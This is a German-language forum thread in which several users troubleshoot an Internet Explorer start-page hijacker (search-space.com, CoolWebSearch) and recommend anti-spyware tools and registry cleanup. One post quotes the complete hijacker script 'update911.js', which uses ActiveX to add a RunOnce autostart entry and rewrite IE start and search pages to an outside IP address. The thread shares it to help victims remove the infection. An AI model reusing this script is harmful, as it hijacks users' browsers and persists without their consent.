IE wählt ungewünschte Startseite an

[baker]

mein internet explorer wählt als startseite plötzlich irgendeine unbekannte suchmaschine an. ist mir heute früh aufgefallen. immer wenn ich in den internetoptionen das dann umstelle, so dass er eine leere seite anzeigt, beim starten den IE, geht es wieder normal. beim nächsten neustart wählt er aber dann wieder die ungewünschte suchmaschine an. wie kann ich das ausschalten?

[cyrix1]

lol sag blos bei der öffnet sich auch dauernd die startseite http://www.search-space.com/

hatten jetzt schon einige meiner freunde, diesen "virus" oder dialer oder was es auch sein mag..

nicht nur der iexplorer spinnt dann rum, sondern die suche (dateisuche) geht auch nicht mehr und windows stürzt häufig ab.


nur noch formatieren hat da geholfen, sowie firewall und antiviren programm dann draufmachen..

mein andere freund hat dies alles gemacht, aber nach dem formatieren den ganzen scheiss wieder bekommen..
scheint grad heftig rumzugehen


ich habe viel ausprobiert um diesen verursacher ausfindig zu machen (der u.a. ständig die startseite auf http://www.search-space.com/ umändert)
aber fehlanzeige, hat alles nichts genutzt, hab ka wo der stackt.. msconfig->autostartliste durchgeschaut und alles unbekannte deaktiviert..
regedit->nach search-space gesucht alles gelöscht, startseite hier umgeändert
etc etc.

alles nichts genutzt, windows hat nach wie vor rumgespakt..


also einziges was hilft, formatiern.. :(

[baker]

nein, die seite ist es nicht und ich hab auch sonst keine problem gehabt, bis jetzt.....

[cyrix1]

gut, dann wirds bei dir was anderes sein :)

glück gehabt.. aber alle bei denne sich diese startseite festsetzt, die haben diesen "virus"

[derJay]

Hrhr, dann werde ich das gleich wohl mal meinem Vater sagen, denn bei dem ists seit gestern oder so die Seite search-aid. Auch URLs die man in den IE eintippt werden über diese URL redirected!

[baker]

So, hab das problem jetzt gelöst :D .

ich weiß nicht, was es gelöst hat, weshalb ich einfach mal alle gegenmaßnahmen hinschreibe:

Ad-Ware 6.0
Spybot Search&destroy
Registry Optimierer
AntiVir - Virenscanner
Verlauf und temorary internet files löschen

hoffe das hilft euch auch weiter. solltet ihr die links zu den obigen tools brauchen, einfach mal anfragen;D

[derJay]

Poste mal bitte die Links

[baker]

AD-Ware (http://www.lavasoftusa.com/) - geht gegen SPY programme vor.
SpyBot Search&Destroy (http://www.safer-networking.org/) - macht das gleiche, dennoch würde ich beide Programme benutzen, die ergänzen sich.
AntiVir (http://www.free-av.de/) - kostenloser Virenscanner, der IMO genauso gut ist, wie kostenpflichtige programme.
Registry Optimierer (http://www.registryoptimierer.de/) - säubert dir Registry von unerwünschten einträgen.

verlauf und temporäre internet dateien einfach in der systemsteuerung unter Internetoptionen löschen.

hoffe das hilft dir auch.


hier (http://www.chip.de/artikel/c_artikel_8806005.html?tid1=23848&tid2=0) auch ein interessanter artikel bei chip.de über diese programme.

[derJay]

Danke! Werde das später mal bei meinem Dad auf dem Rechner alles ausführen und gucken was sich so schaffen lässt.

[Lokadamus]

mmm...

Bei Spybot nicht vergessen, upzudaten (im Programm), ansonsten sucht es nur nach 5.000 Sachen (oder ist mittlerweile eine aktuelle Version draussen ?), nach dem Update nach 11.500 ... bei Ad-Aware auch mal nach updates gucken, dann sollte man den ganzen Kram wegbekommen ...

[baker]

Original geschrieben von Lokadamus
mmm...

Bei Spybot nicht vergessen, upzudaten (im Programm), ansonsten sucht es nur nach 5.000 Sachen (oder ist mittlerweile eine aktuelle Version draussen ?), nach dem Update nach 11.500 ... bei Ad-Aware auch mal nach updates gucken, dann sollte man den ganzen Kram wegbekommen ...


stimmt, da findet er bei weiten mehr.

[Denniss]

Wenn so etwas öfter vorkommt dann würde ich mal ActiveX im IE abschalten und/oder auf Mozilla/Firebird oder Opera wechseln denn dort ist ein versteckte Änderung solcher Optionen nicht möglich .

Bei Ad-Aware und Spybot vor dem Durchlauf unbedingt die Update-Funktion nutzen ansonsten wird weniger gefunden wie schon gesagt - Ad-Aware wird mehrfach pro Monat aktualisiert und Spybot ca 1x/Monat

[Benedikt]

Hi Leute,

das verdammte Problem hab' ich auch, dass der IE plötzlich www.search-space.com als Startseite haben will!
Hab's auch schon mit AD-Aware 6 inkl. neuestem Update versucht - kein Erfolg.
IE zickt jetzt rum, insofern als das Programm keine neuen Seiten mehr mit Rechtsklick --> "In neuem Fenster öffnen" aufmachen will --> IE hängt sich auf.
Bitte um Lösungsmöglichkeiten...
Herzlichen Dank schon im Voraus...

MFG,

BW

[Lokadamus]

mmm...

Und was sagt Spybot zu dem Problem (Link zum download in meiner Signatur) ??? ... ansonsten, schau mal nach, was alles gestartet wird und wenn du dort ein Programm findest, was nicht normal ist, sag mal bescheid, wie es heisst ...

[baker]

Original geschrieben von Benedikt
Hi Leute,

das verdammte Problem hab' ich auch, dass der IE plötzlich www.search-space.com als Startseite haben will!
Hab's auch schon mit AD-Aware 6 inkl. neuestem Update versucht - kein Erfolg.
IE zickt jetzt rum, insofern als das Programm keine neuen Seiten mehr mit Rechtsklick --> "In neuem Fenster öffnen" aufmachen will --> IE hängt sich auf.
Bitte um Lösungsmöglichkeiten...
Herzlichen Dank schon im Voraus...

MFG,

BW


versuchs einfach mal so, wie oben beschrieben, das hat bei mir das problem beseitigt.

[cyrix1]

Original geschrieben von baker
versuchs einfach mal so, wie oben beschrieben, das hat bei mir das problem beseitigt.

ne glaube ich nicht, da du ja nicht search-space hattest, sondern eine andere startseite..

den search-space "virus" ist was anderes..

sorry aber ich habe bisher keine lösung gefunden.. nichts hat geholfen (wie oben beschrieben)

dir bleibt wohl nur formatiern und dannach n guten firewall draufmachen übrig

[baker]

Original geschrieben von cyrix1
ne glaube ich nicht, da du ja nicht search-space hattest, sondern eine andere startseite..

den search-space "virus" ist was anderes..

sorry aber ich habe bisher keine lösung gefunden.. nichts hat geholfen (wie oben beschrieben)

dir bleibt wohl nur formatiern und dannach n guten firewall draufmachen übrig

achso, sry, hab schon ganz verdränft, wie die seite bei mir hieß ;).

[Benedikt]

Original geschrieben von cyrix1
ne glaube ich nicht, da du ja nicht search-space hattest, sondern eine andere startseite..

den search-space "virus" ist was anderes..

sorry aber ich habe bisher keine lösung gefunden.. nichts hat geholfen (wie oben beschrieben)

dir bleibt wohl nur formatiern und dannach n guten firewall draufmachen übrig

Seufz, bei mir auch nicht! Bitte um Postings, falls ihr herausfindet, wie man das "search-space-Virus" entfernt...

MFG,

BW

[Lokadamus]

mmm...

Vielleicht hilft das: http://www.chip.de/forum/thread.html?bwthreadid=537604 ... hier (http://www.mcseboard.de/archiv/28/2003/12/3/20092) hat einer das geschrieben:
Also ich hab bei mir in der registry einen eintrag zu einer javascript datei namens update911.js gehabt die folgendes beinhaltet:

var url = "http://81.211.105.9/index.php?v=1";
var burl = "http://81.211.105.9/search.php?v=1";
var fso = new ActiveXObject("Scripting.FileSystemObject");
var tfolder = fso.GetSpecialFolder(0);
var filepath = tfolder + "\\update911.js";
var Shell = new ActiveXObject("WScript.Shell");
Shell.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\tlc",filepath);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page",url);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Page",url);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar",burl);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Search Asst","no");
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Custom Search URL",1,"REG_DWORD");


Dadurch wurde halt immer meine startseite bei einem neustart geändert!

Der Eintrag war unter
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

könnte allerdings genausogut unter
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
sein!

Einfach mal schauen! Allerdings nach einem virendefinitions update wurde diese datei als Virus erkannt unter dem namen
VBS.StartPage keine ahnung ob es da noch mehr ausführungen von gibt!
Einfach diese datei löschen und den registry eintrag auch dann klappts auch wieder mit der Startage :)

Gruß

Dr.Kiffer

DaniFilth Ich hab das gleiche Problem und hab mitgekriegt, dass dafür eine NavExt.dll im Windows-Verzeichnis auch verantwortlich ist.
Bin aber noch zu faul gewesen, den Rechner im Abgesicherten Modus hochzufahren und die Datei zu löschen.
auer Hey - das ist natürlich ein richtiges JS-Killerscript, mit dem hosts-Problem hat dies nichts zu tun. Der FireBird führt kein JScript aus, mit dem hat man das Problem nicht.

Interessant dabei ist: Wer als Nicht-Admin surft, bei dem müßte das Script abbrechen, wenn es versucht, den HKLM-Schlüssel zu schreiben - da Nicht-Admins auf diesem keine Schreibberechtigung haben (sollten). Wenn sie's doch haben, die die Konfiguration nicht brauchb Ok, eigentlich scheidet dieser Hinweis aus, weil ihr ja schon schön brav euren Autostart (msconfig) überprüft habt ... wenn ihr das Teil gefunden habt, könnt ihr es vielleicht an Spybot (http://www.safer-networking.org/index.php?page=contact&type=detections) senden, damit es upgedatet wird ...

[derJay]

Ich hab mich heute morgen mal mit dem Rechner meines Vaters befasst und da hat Spybot auch einige Registry Einträge gefunden, ausserdem waren in den IE 3 .dll Dateien eingebunden die unter C:\Dok&Einst\User\Anwendungsdaten\ie-irgnedwas und c:\Program Files\... waren. Also einfach auch mal danach gucken. Ohne diesen ganzen Kram scheint der Rechner wieder gut zu laufen.

[Raymond]

Versucht mal das was auf dieser Seite unter Coolwebsearch steht.

http://mvps.org/winhelp2002/unwanted.htm#Coolwebsearch

Vielleicht hilft das ja.

Gruss Ray

[Denniss]

Bitte mal Spybot und Ad-Aware aktualisieren !!

Es sind gerade bei beiden neue Signaturdateien rausgekommen die das Problem lösen könnten

[Benedikt]

Original geschrieben von Raymond
Versucht mal das was auf dieser Seite unter Coolwebsearch steht.

http://mvps.org/winhelp2002/unwanted.htm#Coolwebsearch

Vielleicht hilft das ja.

Gruss Ray

Hi Raymond,

DANKE DER TIP HAT MIR GEHOLFEN!!!

Wunderbar, mein IE6 funktiioniert wieder problemlos, keine sch*** Startseiten oder Hänger beim Öffnen neuer Fenster!
Herzlichen Dank und ein wunderschönes neues Jahr! :)

MFG,
BW